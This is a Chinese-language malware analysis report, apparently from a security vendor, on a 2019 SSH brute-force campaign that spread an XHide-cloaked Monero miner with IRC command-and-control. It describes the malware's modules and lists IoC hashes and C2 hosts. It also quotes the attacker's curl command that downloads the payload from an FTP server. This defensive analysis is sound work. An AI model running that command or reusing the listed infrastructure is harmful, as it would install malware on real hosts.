1
概述
2019年08月08日,stxletto检测到一起利用SSH口令爆破感染、XHide隐藏伪装恶意程序进程、IRC服务作为C&C的门罗币挖矿事件。从捕获的多个样本来看,7月份的样本较5月份的样本,增加了内网SSH弱口令爆破的横向渗透模块,更具危害性。
事件攻击流程图
2
详情
通过终端EDR反馈的定时任务和CPU资源占用情况,我们在/var/tmp/路径下发现9个可疑文件,并有一个以空格做为名称的文件夹。
在日志系统中发现的异常命令
curl -O ftp://noji:noji2012@153.122.137.67/.kde/olduser.tgz
我们在指定的FTP服务器上追溯到olduser.taz和scn.db两个gzip\tar文件。
olduser.taz内有go、i686、x86_64共3个文件。
经分析,olduser中的模块主要实现挖矿功能。
scn.db内有6个文件。
经分析,scn中的模块主要实现横向渗透功能。
2.1
定时任务
恶意程序为当前用户添加了每1分钟执行一次的任务
2.2
httpd文件
httpd文件是一个bash脚本文件,主要功能是重启/lib/httpds恶意程序。
而/lib/httpds文件不存在,且httpd和后文所述update文件在逻辑结构上相似,此任务应是一个早期版本。
2.3
autorun文件
autorun文件是一个bash脚本文件,主要功能是增加、更新定时任务update,并启动perl后门。
2.4
update文件
update文件是一个bash脚本文件,主要功能是如果进程存在则杀死已有进程后重启/var/tmp/ /.p/run恶意程序。
代码中mech.pid和实际的文件pid名称不对,导致无法杀死已有进程。每分钟执行一次定时任务后,会新建进程,导致系统中恶意进程越来越多。
在/var/opt/.crond/路径下发现相似文件,从创建时间等多种维度来看,变种进化过程如下:
`2019-04-28 /var/opt/.crond/.p/run``2019-07-22 /var/tmp/ /.p/update``2019-07-27 /lib/httpd?`
2.5
IRC后门
IRC后门主要存在.p文件夹中,对比2个样本,
主要功能模块没有变化,主要是增加横向扩散功能、更新Perl版本的IRC后门以及改变恶意程序路径。
2.6
run文件
run文件是一个bash脚本文件,主要功能是根据系统的硬件架构执行对应的XHide程序伪装执行python2elf版本的IRC后门,最后执行perl脚本的IRC后门。
2.7
h32\h64文件
h32文件是一个linux/i386版本的XHide程序,
h64文件是一个linux//amd64版本的XHide程序,用于进程伪装和隐藏。
2.8
run32\run64文件
run32文件是一个linux/i386版本的由pyinstaller生成的ELF文件;
Run64文件是一个linux/amd64版本的由pyinstaller生成的ELF文件;
经分析其是一个用python语言开发undernetbot,用于使用IRC通道作为C&C的后门程序。
2.9
..%20文件
..%20文件是一个源自TeaMrx Perlbot的Perl IRC后门。启动后可以从配置列表中随机选定一个伪装成特定进程,使用从配置列表中随机选定昵称在指定的undernet.org提供的IRC服务频道中接收C&C指令。
通过分析2个样本Perl IRC后门主要更新体现在IRC服务、矿池地址、昵称列表和伪装进程列表方面。
3
挖矿模块
olduser.taz内有14个文件,主要功能如下:
文件名称
主要功能
..%20
Perl版本的IRC后门
autorun
增加、更新定时任务并启动update和perl后门
bte.py
python版本的加解密、编解码工具
cfg
perl后门的配置文件
cron
准备添加的定时任务
cron.d
默认模板的计划任务,
dir
恶意程序存放位置的配置文件
h32
32位版本的XHide程序
h64
64位版本的XHide程序
m.dir
指向/lib/dev的配置文件
pid
恶意程序的pid文件
run
根据硬件架构选择启动对应run32\run64的shell脚本
run32
32位版本的Python IRC后门程序
run64
64位版本的Python IRC后门程序
3.1
go文件
go文件是一个bash脚本文件,主要功能是根据系统的硬件架构把对应的ELF程序复制成crond文件并执行,然后执行perl脚本的IRC后门,最后删除恶意文件,并清空历史记录。
3.2
i686\x86_64\crond文件
i686文件是一个经过upx加壳的linux/i386版本的xmrig程序;
X86_64\crond文件是一个经过upx加壳的linux/amd64版本的xmrig程序。
主要功能是门罗币挖矿,其根据xmrig的开源代码做定制开发,用于僵尸网络时,可以指定矿池的静态IP地址,规避DNS解析,以逃避安全检测。
4
横向渗透
4.1
scn.db文件
scn.db内有6个文件,主要功能如下:
文件名称
主要功能
passfile
文件中3个文件存放(印度?)常见的账号密码,用于口令暴力破解。
scanate
存放一些代理服务器(俄罗斯)。
201--22
存放210.212.0.0网段的地址。
auto
网段扫描器
brute
SSH账号密码暴破工具
masscan
Masscan扫描器
scan
Legion2000 开发的扫描器,扫描特定网段(如210.212.0.0-210.212.255.255)
start
SSH banner爬虫
vuln.txt
存放暴破是否成功结果文件
4.2
auto文件
auto文件是一个bash脚本文件,主要功能是根据A段地址生成B网段扫描任务。
4.3
start文件
start文件是一个bash脚本文件,主要功能是根据指定的网段地址和端口,爬取SSH服务地址,并用预置的账号密码文件爆破。
4.4
scan文件
scan文件是一个linux/amd64版本的ELF文件,Legion2000 开发的扫描器,可以扫描指定的网段。
4.5
brute文件
brute文件是一个linux/amd64版本的ELF文件,主要功能是对指定的IP验证预置的SSH账号密码是否能登录成功。
4.6
bte.py文件
bte.py是一个python脚本文件,主要提供使用特定密码的加密、解密方法。
5
IoCs
文件名称
SHA256
x86_64
d10cb54fe685afdc56f59f1f328276b7027b5367d3dd5131362dd085fef03c7d
i686
090e8053cfeb8591e33907c1cb4e6fc1f593623851b2cd0022ef1c1472b4cfa1
h32
45ed59d5b27d22567d91a65623d3b7f11726f55b497c383bc2d8d330e5e17161
h64
7fe9d6d8b9390020862ca7dc9e69c1e2b676db5898e4bfad51d66250e9af3eaf
run32
bc5c36eca38fb2379062a02e2a5f08fe89f73964bfedba38ce301f828d35ab2e
run64
e312c04b07209f4e5f98cbc9dbd0b1e495717e2d87ba5d61d4163e2aa02cff52
olduser.tgz
cd5166885f266cdb5afa5c780e7375ce11dd2a28fd0605aba4e2cb6f27a4d33a
scn.db
7b1070b413f70a00f8b5f0fd480761873367b38dcdee96a6832e1b43a5d0e374
brute
3c00611b670b128c1ca6d3c6f0e9522eea385e0670e74a9b2b26325b4e13c864
masscan
9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2
scan
60cb56218ecc73cb4262f363c8563aa42a1bff63e5d8b218d79702567b908ae9
ftp://153.122.137.67
olduser-v4.pwndns.pw
USER zwsiewale xx.xx.xx.xx Bucharest.RO.EU.WeakNet.eu :tupa
6
综述
综上所述,此种安全攻击事件以SSH口令爆破为突破口,使用XHide隐藏伪装恶意程序进程、并把境外IRC服务作为C&C,在增加内网SSH弱口令爆破的横向渗透模块后更具危害性。stxletto提醒用户强化SSH口令,使用上文中的IoC检测、清除恶意文件。